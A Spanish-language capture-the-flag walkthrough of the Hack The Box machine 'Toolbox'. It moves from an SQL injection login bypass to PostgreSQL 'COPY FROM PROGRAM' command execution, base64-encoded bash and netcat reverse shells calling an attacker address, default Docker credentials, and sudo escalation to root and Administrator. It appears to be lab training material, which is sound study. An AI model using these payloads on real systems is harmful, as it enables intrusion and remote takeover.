Toolbox


October 29, 202311 minutes

Reconocimiento

Para empezar lo primero es comprobar si la máquina está activa y que OS tiene

ping -c 1 10.10.10.236
PING 10.10.10.236 (10.10.10.236) 56(84) bytes of data.
64 bytes from 10.10.10.236: icmp_seq=1 ttl=127 time=152 ms

--- 10.10.10.236 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 151.535/151.535/151.535/0.000 ms

Tenemos conexión y en este caso da un ttl (time to live) de 127, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Windows

Escaneo de puertos

Ahora empezamos con un escaneo de puertos

$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.10.236 -oG allPorts
Explicación parámetros
ParámetroFunción
-p-Para que el escaneo sea a todos los puertos (65536)
–openPara que solo reporte los puertos abiertos
–min-rate 5000Definir el tiempo del escaneo
-nOmitir resolución DNS
-vvvPara que vaya reportando lo que encuentre por consola
-PnPara saltar la comprobación de sí la máquina está activa o no
-oG allPortsPara que guarde el escaneo en format grepeable en un archivo llamado allPort

Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual

Función extractPorts de @s4vitar

extractPorts allPorts
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.10.236
   5   │     [*] Open ports: 21,22,135,139,443,445,5985,47001,49664,49665,49666,49667,49668,49669
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────

Ahora con nmap vamos a intentar buscar las versiones de los servicios que corren por los puertos y ejecutar scripts básicos de reconocimientos de nmap

> nmap -p21,22,135,139,443,445,5985,47001,49664,49665,49666,49667,49668,49669 -sCV 10.10.10.236 -oN versions

PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           FileZilla ftpd
| ftp-syst: 
|_  SYST: UNIX emulated by FileZilla
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-r-xr-xr-x 1 ftp ftp      242520560 Feb 18  2020 docker-toolbox.exe
22/tcp    open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 5b:1a:a1:81:99:ea:f7:96:02:19:2e:6e:97:04:5a:3f (RSA)
|   256 a2:4b:5a:c7:0f:f3:99:a1:3a:ca:7d:54:28:76:b2:dd (ECDSA)
|_  256 ea:08:96:60:23:e2:f4:4f:8d:05:b3:18:41:35:23:39 (ED25519)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp   open  ssl/http      Apache httpd 2.4.38 ((Debian))
| tls-alpn: 
|_  http/1.1
|_http-server-header: Apache/2.4.38 (Debian)
|_ssl-date: TLS randomness does not represent time
|_http-title: MegaLogistics
| ssl-cert: Subject: commonName=admin.megalogistic.com/organizationName=MegaLogistic Ltd/stateOrProvinceName=Some-State/countryName=GR
| Not valid before: 2020-02-18T17:45:56
|_Not valid after:  2021-02-17T17:45:56
445/tcp   open  microsoft-ds?
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2023-10-29T20:34:08
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: 1s
Explicación parámetros
ParámetroFunción
-pEspecificamos los puertos abiertos que hemos encontrado con el escaneo anterior
-sCPara que realice scripts básicos de reconocimiento
-sVProporciona la versión e información de los servicios que corren por los puertos

FTP

Nmap a reportada que en el puerto 21 (FTP) está el login Anonymous habilitado. Esto significa que podemos entrar con el usuario anonymous sin necesidad de proporcionar contraseña. Una vez conectados vemos un archivo llamado docker-toolbox.exe que de momento no podemos hacer nada con él, pero no lo olvidaremos 😉

$ ftp 10.10.10.236

Connected to 10.10.10.236.
Name (10.10.10.236:d3b0o): anonymous
331 Password required for anonymous
Password: 
230 Logged on
ftp> ls
-r-xr-xr-x 1 ftp ftp      242520560 Feb 18  2020 docker-toolbox.exe

SMB

El nmap también reporto que había un smb corriendo en la máquina víctima. Con un crackmapexec vemos un poco más de información sobre la máquina víctima…

crackmapexec smb 10.10.10.236
SMB         10.10.10.236    445    TOOLBOX          [*] Windows 10.0 Build 17763 x64 (name:TOOLBOX) (domain:Toolbox) (signing:False) (SMBv1:False)

Ahora podríamos probar de listar los recursos compartidos en el smb para ello vamos a usar distintas herramientas, pero no tenemos permisos para enumerar los recursos así que no podemos tirar por aquí tampoco


HTTPS

Volviendo al escaneo de nmap, hay una línea en el resultado del puerto 443 que dice lo siguiente

ssl-cert: Subject: commonName=admin.megalogistic.com/organizationName=MegaLogistic Ltd/stateOrProvinceName=Some-State/countryName=GR

Así que vamos a añadir este dominio en el /etc/hosts

10.10.10.236 megalogistic.com admin.megalogistic.com

En la web admin.megalogistic.com vemos un panel de login. Al probar la tipica inyección sql ' or 1=1-- - en el campo del usuario vemos que podemos iniciar sesión satisfactoriamente. En la web no podemos sacar mucha información, simplemente podemos ver el desarrollador y la versión (MegaCorp 1.0.0) y un to-do que dice lo siguiente:

  • Enviar credenciales a Tony
  • Actualizar los drivers de la impresora

Intrusión

En el panel anterior se pueden probar más cositas, de momento solo hemos probado de iniciar sesión con el 'or 1=1-- -, pero a lo mejor podemos hacer más cositas.

Empezamos poniendo una comilla para ver si sale algún error legible de la base de datos.

Warning: pg_query(): Query failed: ERROR: unterminated quoted string at or near "''' AND password = md5('');" LINE 1: SELECT * FROM users WHERE username = ''' AND password = md5(... ^ in /var/www/admin/index.php on line 10

Warning: pg_num_rows() expects parameter 1 to be resource, bool given in /var/www/admin/index.php on line 11

Efectivamente, sale un error en el cual sale pg_query() con esto sabemos que estamos ante un PostgreSQL

Para saber como hacer una inyección a un PostgreSQL existe un recurso muy interesante de la repo de Payloads All The Things, en el cual se menciona una vulnerabilidad interesante que consiste en derivar la inyección sql a un rce (Remote Code Execution)

Básicamente, consiste en crear una tabla en la base de datos en uso por la web

CREATE TABLE cmd_exec(cmd_output text);

Mediante COPY se pondrá en la tabla el resultado del comando id, lo que provocará que se ejecute el comando ìd

COPY cmd_exec FROM PROGRAM 'id';

De forma opcional, en el caso de que podamos ver el output lo podríamos ver simplemente haciendo una petición a la tabla cmd_exec

SELECT * FROM cmd_exec;

Sabiendo esto vamos con la explotación:

Primero se intercepta la petición con burpsuite y la mandamos al repeter para trabajar mejor. En el apartado username vamos a añadir una comilla para cerrar la del username y despues vamos a poner un ; para hacer otra petición. Ahora ya podemos poner la petición que realizara la inyección CREATE TABLE cmd_exec(cmd_output text);. Por último al final se comenta con un -- - para que ignore la siguiente parte de la querry de verificación de la password (Si esto no te queda claro tengo un video en mi canal de youtube en el cual explico en 6 minutos como funcionan las inyecciones sql)

username=';+CREATE+TABLE+cmd_exec(cmd_output text)-- -

Ahora ya tenemos la tabla cmd_exec creada

Reverse Shell

Sabiendo que la máquina es windows si queremos mandarnos una reverse shell tenemos que compartir con un samba el ejecutable de netcat (nc.exe). Si estás desde un kali o parrot seguramente ya lo tendrás instalado lo puedes encontrar con un locate nc.exe. Ahora, ya desde el mismo directorio que tenemos el nc.exe podemos abrir el servidor samba de la siguiente forma:

impacket-smbserver smb $(pwd) --smb2support
Explicación parámetros
  • ${pwd}: Esto equivale a poner la ruta actual de trabajo, en este comando nos sirve para decir donde queremos que abra el servidor samba
  • –smb2support: Sirve para habilitar el soporte de la versión 2 de samba

Ahora nos ponemos en escucha por el puerto 443 para recibir la reverse shell

nc -nlvp 443
Explicación parámetros
  • n: Sirve para que no haga la resolución de DNS
  • l: Habilitar modo escucha de netcat
  • v: Verbose, modo detallado de netcat
  • p: Por último la p sirve para especificar el número de puerto en el cual vamos a estar en escucha

Teniendo el servidor samba abierto y estando en escucha ya podemos mandar la reverse shell mediante la inyección sql.

username=';+COPY+cmd_exec+FROM+PROGRAM+'//10.10.14.28/nc.exe+-e+cmd.exe+10.10.14.28+443'-- -&password=test

No recibimos nada…

A lo mejor, por mucho que la máquina sea windows tiene un docker así que podemos probar de en vez de mandar la reverseshell con un netcat en un samba, mandarla directamente con bash

La típica reverse shell de bash es: bash -i >& /dev/tcp/10.10.14.28/443 0>&1, pero lo pondremos dentro de bash -c "bash- i..." porque puede ser que la normal la bloquee la máquina víctima. En resumen quedará así:

bash -c "bash -i >& /dev/tcp/10.10.14.28/443 0>&1"

Antes de aplicarlo a la inyección vamos a convertirlo en base64 para evitar que los caracteres especiales den problemas.

echo 'bash -c "bash -i >& /dev/tcp/10.10.14.28/443 0>&1"' | base64

Ahora ya tenemos el base64 generado, pero hay un + en la cadena, el cual podemos sustituir por un %2b. El comando final que tendremos que poner en la inyección seria, primero un echo con el base64, después un base64 -d para decodear el base64 y por último bash para que el resultado del base64 lo ejecute con bash.

echo "YmFzaCAtYyAiYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNC4yOC80NDMgMD4mMSIK" | base64 -d | bash

Esto aplicado a la inyección se vería de la siguiente forma:

username=';+COPY+cmd_exec+FROM+PROGRAM+'echo+"YmFzaCAtYyAiYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNC4yOC80NDMgMD4mMSIK"+|+base64+-d+|+bash'--+-

¡¡¡¡Recibimos la conexión!!!!!

Antes de la escalada, vamos a hacer un tratamiento de la tty para poder ejecutar ctr + c, ctrl + l, nano…

script /dev/null -c bash

ctrl + z

stty raw -echo; fg
reset
xterm
export TERM=xterm
export SHELL=bash

Escalada de privilegios

Podemos identificar que estamos en un docker porque en la raíz está el archivo .dockerenv

postgres@bc56e3cc55e9:/$ ls -la
total 80
drwxr-xr-x   1 root root 4096 Mar 29  2021 .
drwxr-xr-x   1 root root 4096 Mar 29  2021 ..
-rwxr-xr-x   1 root root    0 Mar 29  2021 .dockerenv
drwxr-xr-x   1 root root 4096 Feb 19  2020 bin
drwxr-xr-x   2 root root 4096 Nov 10  2019 boot
drwxr-xr-x   5 root root  340 Oct 30 20:54 dev
...

Si hacemos una búsqueda por google podemos encontrar unas credenciales por default del ssh en los boot2docker (web)

  • user: docker
  • pass: tcuser

Si miramos que ip tenemos con ifconfig, vemos la 172.17.0.2, la gateway seguramente será la 172.17.0.1

postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.2  netmask 255.255.0.0  broadcast 172.17.255.255
        ether 02:42:ac:11:00:02  txqueuelen 0  (Ethernet)
        RX packets 1338  bytes 183525 (179.2 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 1163  bytes 173814 (169.7 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 3461  bytes 1232799 (1.1 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3461  bytes 1232799 (1.1 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Así que nos podemos conectar a la máquina host del docker con ssh docker@172.17.0.1

postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ ssh docker@172.17.0.1
docker@172.17.0.1's password: 
   ( '>')
  /) TC (\   Core is distributed with ABSOLUTELY NO WARRANTY.
 (/-_--_-\)           www.tinycorelinux.net

docker@box:~$ 

Escalada root/Administrator

Si hacemos un sudo -l para ver que podemos ejecutar con sudo, nos muestra que podemos ejecutar todos los comandos como root sin la necesidad de proporcionar contraseña.

docker@box:~$ sudo -l
User docker may run the following commands on this host:
    (root) NOPASSWD: ALL
docker@box:~$ 

Sabiendo esto simplemente podemos poner sudo bash y ya seremos root

docker@box:~$ sudo bash
root@box:/home/docker#

Al investigar un poco los archivo de la raíz se puede ver que hay un directorio llamado c en el cual hay una estructura de carpetas parecida a la de windows, ahí podemos encontrar la flag final

root@box:/c/Users/Administrator/Desktop# ls                                    
desktop.ini  root.txt
root@box:/c/Users/Administrator/Desktop#

Y ya tendríamos la flag de root.txt

Como extra, en el directorio /c/Windows/Users/.ssh podemos ver una llave privada de ssh la cual podemos usar para salir del docker e ir a la máquina host. Para usarla tenemos que guardarla en un archivo en nuestra máquina

Para que no de problemas le tenemos que dar permisos

chmod 600 id_rsa

Ahora ya nos podemos conectar por ssh como Administrator en la máquina víctima con el siguiente comando

ssh -i id_rsa Administrator@10.10.10.236

Y ya tenemos una consola como Administrator en la máquina víctima

$ ssh -i id_rsa Administrator@10.10.10.236

administrator@TOOLBOX C:\Users\Administrator>